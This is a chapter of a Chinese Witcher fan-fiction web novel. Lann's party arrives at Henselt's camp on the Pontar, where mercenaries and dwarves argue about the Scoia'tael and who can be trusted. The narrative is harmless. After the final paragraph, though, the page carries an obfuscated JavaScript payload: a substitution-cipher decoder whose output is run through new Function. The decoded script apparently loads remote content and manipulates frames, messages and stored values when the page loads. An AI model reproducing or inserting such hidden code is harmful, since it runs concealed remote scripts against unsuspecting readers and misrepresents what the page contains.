实际上，希沃德公爵在庞塔尔河谷外设立的集合地点相当好辨认。
在一片黑暗的夜空之下，庞塔尔河及两侧的山脉中都只传出来寥寥几声野兽或是怪物的吼叫，这说明那引起异变与‘白雾’的东西，它的影响力还没有真的扩散到这里。
至少是现在。
而在滚滚的河水激流声音之中，庞塔尔河南岸的一片毗邻马哈坎山脉的山脚的平缓坡地上。
吵吵嚷嚷的人声、牲畜将嘴埋进食槽的声音，还有柴火点燃起来的噼啪声.热闹又嘈杂。
内河驳船在营地附近的临时渡口停靠时，才引起了一个看守的注意。
“你们来晚了，这是迟到！我被骂了整整一个钟头！”
那个看守举着火把，指挥着驳船靠岸。
船上的船长也对他互相喝骂了几声，在互相‘问候’家人的语句中，就讲清楚了之前那个被袭击的渡口所发生的事。
也就相当于说清了他们迟到的这时间用哪去了。
松鼠党这個名词的出现毫无疑问，又惹来了一片谩骂声。
但是每个人却都并不意外，这只能说明这些非人种族游击队确实在这片区域干了不少事情。
船长与渡口管理者的交涉是他们的事，对于船上的佣兵和战士们来说，到了这地方，他们就已经跟船长什么关系都没了。
于是一群人各自从甲板的中心取走自己的行李，牵走自己的马，这其中当然有顺手牵羊和浑水摸鱼的。
但是这群人至少还有身为战斗职业的干脆，就算是混乱，也只用了半个小时就全部下了船。
“但他们好像并不知道您要来，大人。”
在一股脑往船下搬东西、牵马的人群中，林肯在蓝恩身后说着。
年轻的书记官跟自己的大人一样，没有急着往船下走。
他在驳船的侧舷扶着栏杆往下看。
底下没有欢迎的仪仗，甚至没有专人过来问问。
虽然希沃德公爵对于猎魔人和非人种族的立场人尽皆知，但是同样接待一位法理所公认的公爵，该有的礼仪按规矩是不能少的。
对于贵族来说，尤其是老派贵族，礼仪不周就是没脸没皮。
“需要我去通传吗？”
林肯转头向身边问。
“不用了。”蓝恩摇摇头，“弗尔泰斯特没告诉他我被邀请过来.有点意思。这应该也比较方便我行动。”
林肯了解自己的大人，所以也并没有反驳，只是接着说。
“那么，我会将咱们的旗帜收起来，并且我们也会让自己显得不那么显眼。”
蓝恩确定行动方向，而林肯则在这个基础上进行准备。这已经是他们之间比较熟悉的配合模式了。
最终等人潮已经不再那么拥挤后，蓝恩他们也走下了驳船。
前面下船的佣兵们大多都点起了火把，照亮凹凸不平的地面。
火把连成了一条长龙，一路延伸向不远处的营地。
——
“这么说”
说话的人是掠夺者中最年长的一位，名叫布赫特。他胳膊壮得像是树根，并且裸露的皮肤上刻画着大片刺青。
“各位好手们，就是希沃德亲王所邀请的最后一批人了？行吧，虽然这么多人只为了去清理河谷中的一些怪物有点小题大做，但是咱们平头百姓也没资格对王公贵族说三道四。”
“来吧女士，坐过来点，都烤烤火。咱们都是靠刀子吃饭的，没什么不好意思的吧？”
这个营地里生着许多堆篝火，来抵御春天夜里山中的寒气。
当然，这是糙汉们的待遇。像是骑士或者贵族，人家有宽敞又舒适的帐篷。
蓝恩原本坐在布赫特身边，接着又看见他熟络的将萨奇亚和其他几个佣兵招呼到这堆篝火边上。
当然，这个外表粗壮的汉子，其实心思细腻。
“你们刚跟亲王见了面。”布赫特将自己剃成莫西干的头发捋到一侧，“他跟你们说了什么？”
“他什么都没说，其实也没见我们。”萨奇亚在火堆边坐下，“他在帐篷里埋头对付一只烤鸡，跟我们说话的是一个随从骑士，叫什么.”
“泰勒斯。”矮胖的大胡子矮人，发型跟布赫特一样的亚尔潘·齐格林补充着说。
“脸上有疤，猩红色斗篷，左肩有白玫瑰徽记，对吧？”
矮人难看的笑了笑，同时满是灰尘的粗脖颈被火光映的通红。
“得亏你们里面没有非人种族，不然那骑士会告诉你们，言语能恶毒到什么地步。幸好那对俺没用。俺见过世面，所以即使当时俺挺想一脚踹到他小腿迎面骨上，俺也忍住了。”
布赫特点着头。
“听你们这么一说，这位泰勒斯骑士似乎也没别的本事了。只会吆来喝去，接着用永恒之火的教义去攻击别人。”
说完，布赫特拍了拍身边蓝恩的胳膊。
“好了，尼斯楚卡。去把那堆柴火用帆布盖好，我看晚上山里会下一阵小雨。”
蓝恩歪了歪头：“我不是你嘴里的尼斯楚卡，伙计。”
布赫特明显一愣。
“没错，我才是尼斯楚卡。”
一个同样穿着兜帽斗篷的高大人影扯着一块帆布走过来，将帆布盖在了柴堆上。
身为掠夺者这个小组织的老大，布赫特揉着额头。
“我就见了鬼了，你们为什么就非得买这破斗篷？抱歉，是我认错人了，朋友。”
蓝恩宽和的点点头：“没关系。但伱也知道，不是每个人都像你这样，看起来就高大凶悍，我得给自己增加那么一点威慑力啊。”
说着，蓝恩在火堆前抬起手，两根手指比出一个微小的差距，来指代自己言语中的‘一点’。
布赫特这下带着点自得的点点头。
而忙完的尼斯楚卡也坐到火堆旁：“这斗篷在动手时能让敌人分不清攻击位置，这是很大的优势，不然我买它干嘛？”
“而且话说回来，我总觉得这阵仗是不是太大了点？所有人都被希沃德的赏金引来了。这不像是远征，更像是送死，我可不想在人堆里战斗。”
“你冷静点，”布赫特安抚着自己的伙伴，“看着人多而已。咱们之前猎过很多次龙，每次都是这样，不是吗。”
“大批人围观，就像是集市或者流动妓院。但是一旦开打，剩下的还会有谁？只有我们，真正的战士。”
说道‘猎龙’，不知道是不是错觉，萨奇亚皱起眉头，她的眼睛在火光中短暂的明亮了一瞬。
只有蓝恩注意到了。
“是的，现在的情况都不值得担心，唯有一点。”亚尔潘·齐格林拽起一个裹着柳条的细颈酒瓶喝了一口。
而随着他的说话，不管是掠夺者小队，还是由亚尔潘·齐格林所领导的矮人小队，都安静下来。
显然，他将要说的话也是大多数人关心的。
“我们到底是来跟什么东西干架的？有人知道吗？哪怕一星半点？”
“事先声明，俺和俺的兄弟们从不畏战，毕竟死在俺这群人手里的怪物也不少了，其中不乏真龙。”
“掠夺者，你们是清楚的。毕竟咱们之前还产生过一些生意上的摩擦。为了一条龙的狩猎归属权。”
布赫特接过亚尔潘的酒瓶，也喝了一口。
“是的，我们作证，确实如此。”
“可是勇猛作战不代表没有脑子。”亚尔潘抹了一把头上偏分的莫西干发型，让头发更显油亮。
“面对什么敌人就该有什么对策。如果是针对怪物，那咱们自然手到擒来。可如果真像传言中那样，是松鼠党”
“智慧生物跟怪物可不一样，各位。他们会骗人、会伪装、会埋伏、会引诱、会突袭咱们怎么对付没脑子，光有一身蠢肌肉的怪物，他们就可以怎么对我们！”
“还不止如此。”掠夺者小队的另外一人，最年轻的一个，直勾勾的看着亚尔潘。“危险还远远不止如此。”
亚尔潘·齐格林沉默了。
整个火堆边的气氛都沉默了。
只有他身边紧挨着的一个矮人，一个满脸横肉，留着短鸡冠头发型的矮人说着。
“你们是啥意思，嗯？”
“意思就是，这里招了不少人，其中也有非人种族，比如你们。”最年轻的掠夺者毫不掩饰的说着。
“我们该怎么确定，如果要对付的是松鼠党，这个营地里没人会被他们鼓动？或者往好了说，你们是值得信任的，可是你们在把斧头砍向同胞时万一手软了呢？”
“俺真是”
矮人气冲冲的想要开口争辩，却被亚尔潘伸手拦住。
“行了，卓尔坦！吵架没用，说了多少次？你跟俺出来学挣钱的门道，就得先学俺怎么跟人打交道！你要再犯浑，俺可不给你面子了！”
压下身边的矮人之后，作为领队的亚尔潘正色看着掠夺者还有其他人。
“俺郑重声明，俺们跟松鼠党不是一路人。”
“俺接受了希沃德的雇佣，只要他按规矩给钱，俺们就按规矩给他干活儿。绝不推辞，也绝没有二话。”
一阵沉默，不光是人类在沉默，就连亚尔潘身边的矮人们，此时也犹疑的张了张嘴，最后却什么都没说出来，只能颓然的低头看着火堆。
“先这么说吧。”布赫特取下了镶钉护喉，挠了挠自己公牛般粗壮的脖子。“也许希沃德亲王就是冲着怪物来的呢？”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();